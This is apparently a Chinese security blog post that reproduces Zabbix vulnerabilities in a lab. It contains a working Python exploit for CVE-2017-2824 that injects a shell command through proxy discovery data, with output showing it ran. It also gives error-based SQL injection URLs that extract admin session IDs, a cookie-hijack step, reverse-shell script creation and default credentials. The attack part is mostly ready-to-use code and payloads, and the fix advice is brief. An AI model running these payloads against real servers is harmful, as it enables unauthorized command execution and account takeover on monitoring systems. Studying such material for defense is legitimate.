标签归档:zabbix

Zabbix Server Active Proxy Trapper Remote Code Execution Vulnerability

今天openvas扫描到zabbix的一个漏洞

CVE号

CVE-2017-2824

漏洞描述

zabbix_server启动时会监听在10051端口,该端口如果对外开放,攻击者可以利用zabbix协议的command功能调用数据库中特定的脚本,只需要提供interface表中的hostid参数。在调用脚本时,{HOST.CONN}会被替换成表中的ip。由于插入的ip数据没有被过滤则将发生命令注入,严重时可以反弹shell等。
所以这里需要先在interface表中插入恶意指令,默认情况下,未经身份验证(需通过Zabbix授权)的攻击者无法做到这一点。要利用该漏洞还需要以下条件:配置好Action的自动发现功能,该功能可以将恶意的数据插入到interface表(配合Add host操作),从而可以进行命令注入攻击。

受影响版本
Zabbix 2.4.7 – 2.4.8r1

Zabbix安装
基础环境

yum install php php-mysql php-gd php-pear mysql mysql-server
groupadd zabbix
useradd -g zabbix zabbix
service mysqld start
service httpd start

Zabbix依赖

yum install -y curl curl-devel mydql-devel net-snmp snmp net-snmp-devel perl-DBI php-gd php-xml php-bcmath php-mbstring php-ldap php-odbc php-xmlrpc
tar -xvf zabbix-2.4.7.tar.gz

安装

cd zabbix-2.4.7/
./configure --prefix=/usr/local/zabbix --enable-server --enable-agent --enable-proxy --with-mysql --enable-net-snmp --with-libcurl 
make
make install

导入数据

mysql -uroot
>create database zabbix character set utf8 collate utf8_bin;
>use zabbix;
>source /root/zabbix-2.4.7/database/mysql/schema.sql
>source /root/zabbix-2.4.7/database/mysql/images.sql
>source /root/zabbix-2.4.7/database/mysql/data.sql

Web配置

cd frontends/php
cp -a . /var/www/html
cd /var/www/html/
chown apache:apache -R .

修改php.ini

post_max_size = 16M
max_execution_time = 300
max_input_time = 300
date.timezone = Asia/Shanghai
allow_url_fopen = On

访问http://172.16.100.181/setup.php进行安装,安装后默认登录凭证是Admin/zabbix

启动zabbix_server

cd /root/zabbix-2.4.7/misc/init.d/fedora/core
cp * /etc/init.d/

修改zabbix_server和zabbix_agentd

BASEDIR=/usr/local/zabbix

启动zabbix服务
配置Mysql连接
修改/usr/local/zabbix/etc/zabbix_server.conf

DBPassword=hehe123
DBSocket=/var/lib/mysql/mysql.sock

漏洞利用的数据表:

mysql> select * from interface;
+-------------+--------+------+------+-------+-----------+-----+-------+------+
| interfaceid | hostid | main | type | useip | ip | dns | port | bulk |
+-------------+--------+------+------+-------+-----------+-----+-------+------+
| 1 | 10084 | 1 | 1 | 1 | 127.0.0.1 | | 10050 | 1 |
+-------------+--------+------+------+-------+-----------+-----+-------+------+
1 row in set (0.00 sec)

mysql> select * from scripts;
+----------+-------------------------+----------------------------------------+-------------+----------+---------+-------------+--------------+------+------------+
| scriptid | name | command | host_access | usrgrpid | groupid | description | confirmation | type | execute_on |
+----------+-------------------------+----------------------------------------+-------------+----------+---------+-------------+--------------+------+------------+
| 1 | Ping | /bin/ping -c 3 {HOST.CONN} 2>&1 | 2 | NULL | NULL | | | 0 | 1 |
| 2 | Traceroute | /usr/bin/traceroute {HOST.CONN} 2>&1 | 2 | NULL | NULL | | | 0 | 1 |
| 3 | Detect operating system | sudo /usr/bin/nmap -O {HOST.CONN} 2>&1 | 2 | 7 | NULL | | | 0 | 1 |
+----------+-------------------------+----------------------------------------+-------------+----------+---------+-------------+--------------+------+------------+
3 rows in set (0.00 sec)

测试过程
添加Proxy
Administration > proxies > Create proxy

创建Action
configuration > action > Event source(Discovery)> Create Action配置好条件和操作,操作为Add host

import socket
import struct
import json

ZABBIX_HOST = "172.16.100.181"
ZABBIX_PORT = 10051

def send_to_zabbix(data):

    client = socket.socket()
    client.connect((ZABBIX_HOST,ZABBIX_PORT))
    packet = "ZBXD\x01" + struct.pack('<Q', len(data)) + data
    client.sendall(packet)

    head = client.recv(1024)
    if "ZBXD" not in head:
        client.close()
        return head
    pkt_len = struct.unpack('<Q', client.recv(8))
    data = client.recv(pkt_len[0])
    client.close()
    return data

data = """{"request":"command","scriptid":1,"hostid":10107}"""

discovery = """{
    "request": "discovery data",
    "host": "{上面配置的Proxy的名称}",
    "clock":1485353070,
    "data": [
        {
            "clock":1485353070,
            "drule":2,
            "dcheck":2,
            "type":0,
            "ip":";whoami > /tmp/pwned;",        
            "dns":"abc.com.cc",
            "port":10050,
            "key":"zzztest",
            "status":0,
            "value":"fuck"
        }
    ]
    }
"""

#利用自动发现功能添加Host,需要修改host的值为上面配置的Proxy的名称,执行成功会返回SUCCESS,也可以‘select * from interface;’ 查看是否自动添加成功
print send_to_zabbix(discovery)

# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
#利用命令注入进行攻击,这里需要爆破hostid,例如这里我添加到interfaceid=2中的恶意命令的条目的hostid是10106,然后会获取该ip,替换 {HOST.CONN}并执行。
print send_to_zabbix(data)

恶意命令成功插入到interface表中。

mysql> select * from interface;
+-------------+--------+------+------+-------+-----------------------+------------+-------+------+
| interfaceid | hostid | main | type | useip | ip                    | dns        | port  | bulk |
+-------------+--------+------+------+-------+-----------------------+------------+-------+------+
|           1 |  10084 |    1 |    1 |     1 | 127.0.0.1             |            | 10050 |    1 |
|           2 |  10106 |    1 |    1 |     1 | ;whoami > /tmp/pwned; | abc.com.cc | 10050 |    1 |
+-------------+--------+------+------+-------+-----------------------+------------+-------+------+
2 rows in set (0.00 sec)

[root@vincent tmp]# cat /tmp/pwned 
zabbix

修复建议
删除掉scripts表中三个默认脚本

参考文章
https://www.vulbox.com/knowledge/detail/?id=9
http://bobao.360.cn/news/detail/4142.html

Zabbix之前总结的漏洞:

Zabbix漏洞总结

 

 

Zabbix漏洞总结

SQL注入(一)

影响版本
1.8.5-1.8.9
利用前提
需要登录,默认口令 admin/zabbix或者是guest/空

使用Guest账户登录

报错注入

httpmon.php?applications=2 and (select 1 from (select count(*),concat((select(select concat(cast(concat(alias,0x7e,passwd,0x7e) as char),0x7e)) from zabbix.users LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

可以获取到加密后密码
zabbix的session是存储在zabbix.sessions表中的

mysql> select sessionid from zabbix.sessions where status=0 and userid=1 limit 0,1;
+----------------------------------+
| sessionid                        |
+----------------------------------+
| 0207b91351782e881d98cdbb1074b5bb |
+----------------------------------+
1 row in set (0.00 sec)

通过注入获取到zabbix.sessions中保存着用户的session信息

httpmon.php?applications=2 and (select 1 from (select count(*),concat((select(select concat(cast(concat(sessionid,0x7e,userid,0x7e,status) as char),0x7e)) from zabbix.sessions where status=0 and userid=1 LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

可以获取到session

session:00afc31ea35f3f156ebb5c4b3b119be3

然后进行Cookie欺骗 直接替换zbx_sessionid为这个00afc31ea35f3f156ebb5c4b3b119be3
成功以administrator登陆

Administrator–>Scripts Create script 添加command为反弹命令

然后去找触发点,例如在Monitoring–>Triggers或者Monitoring–>Events都可以,过滤的时候把条件设置的宽松一些,能够筛选出尽量多的主机。然后来到这里 可以执行刚才设置的指令

这里命令执行成功的前提是zabbix客户端zabbix_agentd.conf配置

EnableRemoteCommands=1

获取到的权限是zabbix agent的运行权限。

SQL注入(二)


影响版本
2.2.x, 3.0.0-3.0.3
漏洞前提
需要登录,默认口令 admin/zabbix或者是guest/空
漏洞URL

http://*.*.*.*/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(sessionid%20as%20char),0x7e))%20from%20zabbix.sessions%20where%20status=0%20and%20userid=1%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

报错如下:
得到session为0000cfd165072547509ff0b7fef9ed96,修改使用Firefox下插件Cookies Manager+修改zbx_sessionid为该值,就能以管理员权限登录。